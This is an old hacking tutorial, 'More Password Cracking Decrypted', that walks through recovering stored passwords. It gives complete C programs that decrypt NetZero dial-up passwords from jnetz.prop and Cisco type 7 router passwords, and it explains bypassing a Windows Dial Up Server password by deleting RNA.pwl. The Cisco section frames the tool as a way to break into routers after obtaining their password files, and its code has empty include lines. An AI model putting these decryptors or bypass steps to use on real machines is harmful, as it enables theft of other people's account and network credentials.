More Password Cracking Decrypted By Ankit Fadia ankit@bol.net.in

Welcome to another edition of Password Cracking Decrypted. In this manual we will learn, you guessed it, how to crack passwords. In this edition we have explanations to how to break more kinds of passwords.
Although this manual is quite easy to understand, I would definitely like to make one suggestion. To truly enjoy reading this manual, you need to know C relatively well. However, even if you have no idea what C is, I assure you that this manual will definitely be of use to you.

Cracking the Netzero (Free ISP) Dial Up Password

Today, the number of Internet Service Providers (both free and the not so free ones) has really reached a very high figure. All of them aim at providing better services and making the process of connecting to the Internet easier for the user. One common practice amongst both Internet Service Providers and popular browsers like Internet Explorer, have this option called ‘Save Password’, which makes life easier for the user, as it allows the user to not type in the password each time he has to connect to the Internet.

Although, like all other software, as soon as the developer tries to add a user friendly feature or make the software easier to use or more efficient, he has to make at least some compromise in the security or safety field. One popular example would be Outlook Express, ever since the Preview Pane has been introduced within the email client, Outlook Express users have become prone to Email-Borne Viruses.

Anyway, getting back to the subject of this tutorial, even including the ‘Save Password’ feature has made the User’s Password unsafe. Now, what happens is that, when you check on this option or enable it, then the concerned software (Browser or Internet Service Provider Software) takes it passes it through an algorithm to encrypt it. Once, the Password is encrypted, it is then stored in the Windows Registry or in some .ini or .dat or a similar file. Now, this system sounds quite safe, however, if you look deeper, then you find that it is trouble waiting to happen.

The very fact that the encrypted password has to be stored somewhere, makes this feature vulnerable. Also, almost all software providing this feature does not use a strong algorithm. This makes the work of a hacker really easy. Some software even stores the password as plaintext in the registry!!! So, basically the weakest chain in this feature is that most software developers are weary of the fact that the encrypted password can be easily decrypted, once we study the software inside out. So, what I mean to say is that using this feature although surely makes life easy, for those of you who cannot remember passwords, but it does leave your Internet Account vulnerable. However, if you are one of those people who needs to write down your password on a piece of paper and stick it to the front of your monitor, then this feature is definitely for you.

So how do I crack the Netzero Dial Up Password?

NOTE: The following information first appeared at L0pht.com I simply rewrote it and made it more understandable.

Anyway, Netzero is a free ISP, which asks only for a advertising bar in return for Internet Access. It too provides this ‘Save Password’ feature, however, it too like most services, uses an extremely weak algorithm to encrypt the password. The following process of decryption works on Netzero version 3.0 and earlier and requires Win 9x, NT or Win 2K to be running.

For this exploit, you need to have local access to the machine, which has the Netzero software installed.
This vulnerability cannot be exploited unless and until you get the required file, for that you either have to have local access or need to devise a method of getting the file, which contains the password.

The Netzero Username and Password are stored in an ASCII file named, id.dat, which is located in the Netzero directory. If the user has enabled the 'Save Password' option, then the Username and Password are also stored in the jnetz.prop file. The passwords stored in both these files are encrypted using a very simply easy to crack algorithm. Although the algorithms used to get the encrypted information (to be stored in the two files), are not same, however they are derived from the same main algorithm. Both the algorithms differ very slightly. In this manual we will learn as to how this weak algorithm can be exploited.

The Netzero Password is encrypted using a substitution cipher system. The cipher system used is a typical example of a 1 to 1 mapping between characters where each single plaintext character is replaced by a single encrypted character.

Are you lost? Well, to understand better read on.

Say, the Netzero application is running, and the user clicks on the 'Save Password' option and types his password in the required field. Now, then what happens is that, the Netzero Application loads the encrypting file, which contains the plaintext to cipher-text database into memory. Now, for example your password is xyz and it is stored in location 'm' of the memory and the corresponding encrypted password abc is stored in the location 'n' of the memory, then the password xyz actually is stored as abc.

Well it is quite simple, right? Well, almost. The part of the encryption algorithm used by Netzero which is difficult to understand, is that two encrypted characters replace each character of the plaintext password. These two encrypted characters replacing a single plaintext character, are however not stored together.
When substituting character x stored in i of a password 'n' characters long, the first encrypted character would be stored in 'i' and the next in 'n+i.'

The two encrypted characters are derived from the following table:

	1	a	M	Q	f	7	g	T	9	4	L	W	e	6	y	C
g	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o
T	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~	
f	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
7	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_
Q	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
M	SP	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/

NOTE: SP represents a single space and the above chart represents ASCII characters.

To encrypt a string of length 'n', we need to find each character in the above table and place the column header into i and place the row header into n+i.

For example:
E(a) = ag
E(aa) = aagg

E(aqAQ1!) = aaaaaagTf7QM
E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg

On the other hand, while decrypting the password of length 2n, then I will be become the element in the element in the above table where the column is headed by i and the row headed by n+i intersect.

For example:
D(af) = A
D(aaff) = AA
D(aaMMQQfgfgfg) = AaBbCc

Decrypting the password manually would be quite fun, but would definitely be a very time consuming process. Anyhow, I do suggest you try to decrypt the Netzero Password manually atleast once. For those of you, who do not enjoy decrypting passwords manually, I also have a C program, which will do it for you.

The following C program demonstrates how the Netzero Password is decrypted. Simply compile and execute in the directory in which the jnetz.prop exists.

```
#include <stdio.h>
#include <string.h>

#define UID_SIZE              64
#define PASS_CIPHER_SIZE         128
#define PASS_PLAIN_SIZE          64
#define BUF_SIZE 256

const char decTable[6][16] = {
  {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
  {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
  {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
  {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
  {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
  {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
};

int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],
  char cPlainPass[PASS_PLAIN_SIZE])
{
        int passLen, i, idx1, idx2;
        passLen = strlen(cCipherPass)/2;

        if (passLen > PASS_PLAIN_SIZE)
        {
                printf("Error: Plain text array too small\n");
                return 1;
        }

        for (i = 0; i < passLen; i++)
        {
                switch(cCipherPass[i])
                {
                case '1':
                        idx2 = 0; break;
                case 'a':
                        idx2 = 1; break;
                case 'M':
                        idx2 = 2; break;
                case 'Q':
                        idx2 = 3; break;
                case 'f':
                        idx2 = 4; break;
                case '7':
                        idx2 = 5; break;
                case 'g':
                        idx2 = 6; break;
                case 'T':
                        idx2 = 7; break;
                case '9':
                        idx2 = 8; break;
                case '4':
                        idx2 = 9; break;
                case 'L':
                        idx2 = 10; break;
                case 'W':
                        idx2 = 11; break;
                case 'e':
                        idx2 = 12; break;
                case '6':
                        idx2 = 13; break;
                case 'y':
                        idx2 = 14; break;
                case 'C':
                        idx2 = 15; break;
                default:
                        printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);
                        return 1;
                        break;
                }

                switch(cCipherPass[i+passLen])
                {
                case 'g':
                        idx1 = 0; break;
                case 'T':
                        idx1 = 1; break;
                case 'f':
                        idx1 = 2; break;
                case '7':
                        idx1 = 3; break;
                case 'Q':
                        idx1 = 4; break;
                case 'M':
                        idx1 = 5; break;
                default:
                        printf("Error: Unknown Cipher Text Set: %c\n",
                          cCipherPass[i+passLen]);
                        return 1;
                        break;
                }

                cPlainPass[i] = decTable[idx1][idx2];
        }
        cPlainPass[i] = 0;

        return 0;
}

int main(void)
{
        FILE *hParams;
        char cBuffer[BUF_SIZE], cUID[UID_SIZE];
        char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
        int done = 2;

        printf("\nNet Zero Password Decryptor\n");
        printf("Brian Carrier [bcarrier@atstake.com]\n");
        printf("@Stake L0pht Research Labs\n");
        printf("http://www.atstake.com\n\n");

        if ((hParams = fopen("jnetz.prop","r")) == NULL)
        {
                printf("Unable to find jnetz.prop file\n");
                return 1;
        }

        while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
        {
                if (strncmp(cBuffer, "ProfUID=", 8) == 0)
                {
                        done--;
                        strncpy(cUID, cBuffer + 8, UID_SIZE);
                        printf("UserID: %s", cUID);
                }
                if (strncmp(cBuffer, "ProfPWD=", 8) == 0)
                {
                        done--;
                        strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);
                        printf("Encrypted Password: %s", cCipherPass);

                        if (nz_decrypt(cCipherPass, cPlainPass) != 0)
                                return 1;
                        else
                                printf("Plain Text Password: %s\n", cPlainPass);
                }

        }

        fclose(hParams);

        if (done > 0)
        {
                printf("Invalid jnetz.prop file\n");
                return 1;
        } else {
                return 0;
        }
}
```

****

HACKING TRUTH: By default Windows accepts both short and long passwords as the Windows login password. Some users use extremely short passwords, which can easily be brute forced. So in order to set the minimum number of characters or the minimum length of the password, simply follow the following registry trick-:

1. Launch the Windows Registry Editor i.e. c:\windows\regedit.exe
2. Scroll down to the following registry key:
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network
3. Click on Edit > New DWORD Value.
4. Name this new DWORD value as MinPwdLen and in the data field, enter the minimum number of characters the password has to be of. One thing to note here is that this value is in Hexadecimal.
5. Now, Press F5 and your system just became a tiny bit securer but certainly not unhackable.

****

Cracking CISCO Router Passwords

Cisco Router hacking is considered to be extra elite and really kewl. It is really a great exercise for your gray cells , especially if the target system has Kerberos, a Firewall and some other Network Security software installed. Anyway, almost always the main motive behind getting root on a system is to get the password file. Once you get the

Router password file, then you need to be able to decrypt the encrypted passwords stored by it. Well, in this section, we will learn just that.

The following is a C program which demonstrates how to decrypt a CISCO password.

```
#include
#include

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Usage: %s -p \n", pname);
        fprintf(stdout, "       %s  \n", pname);

        return(0);
}

main(argc,argv)
int argc;
char **argv;

{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
```

```
                if(cdecrypt(argv[2], passwd)) {
                    fprintf(stderr, "Error.\n");
                    exit(1);
                }
                fprintf(stdout, "password: %s\n", passwd);
                break;

                default:
                fprintf(stderr, "%s: unknow option.", pname);
            }

            return(0);
        }

        if((in = fopen(argv[1], "rt")) == NULL)
            exit(1);
        if(argc > 2)
            if((out = fopen(argv[2], "wt")) == NULL)
                exit(1);
    }

    while(1) {
        for(i = 0; i < 256; i++) {
            if((line[i] = fgetc(in)) == EOF) {
                if(i)
                    break;

                fclose(in);
                fclose(out);
                return(0);
            }
            if(line[i] == '\r')
                i--;

            if(line[i] == '\n')
                break;
        }
        pw_pos = 0;
        line[i] = 0;

        if(!strncmp(line, pw_str1, strlen(pw_str1)))
            pw_pos = strlen(pw_str1);

        if(!strncmp(line, pw_str2, strlen(pw_str2)))
            pw_pos = strlen(pw_str2);

        if(!pw_pos) {
            fprintf(stdout, "%s\n", line);
            continue;
        }

        if(cdecrypt(&line[pw_pos], passwd)) {
            fprintf(stderr, "Error.\n");
            exit(1);
        }
        else {
            if(pw_pos == strlen(pw_str1))
                fprintf(out, "%s", pw_str1);
            else
                fprintf(out, "%s", pw_str2);

            fprintf(out, "%s\n", passwd);
        }
    }
}
```

NOTE: The above works only on a Linux platform. If you are running Windows, then you will have to use some brute force password cracker.

Bypassing the Dial Up Server Password

Those of you who have used File Sharing, must certainly have heard about the Dial Up Server software or utility. Now, this too can be password protected. Now, say you have password protected the Dial Up Server, and have forgotten it or someone has changed it, then no one can dial into your system. What do you do?

Like all password protection features in Win 9x systems, this too can easily be bypassed or changed. You do not need to know the previous old password to perform this hack. Simply delete the file RNA.pwl file in the c:\windows directory and the next time you use Dial Up Server, you will find that it will either ask you to enter a new password or simply not ask for a password at all.

Well, that is all for now, I will update this manual explaining how to crack more passwords very very soon, so hang in there.

Ankit Fadia
ankit@bol.net.in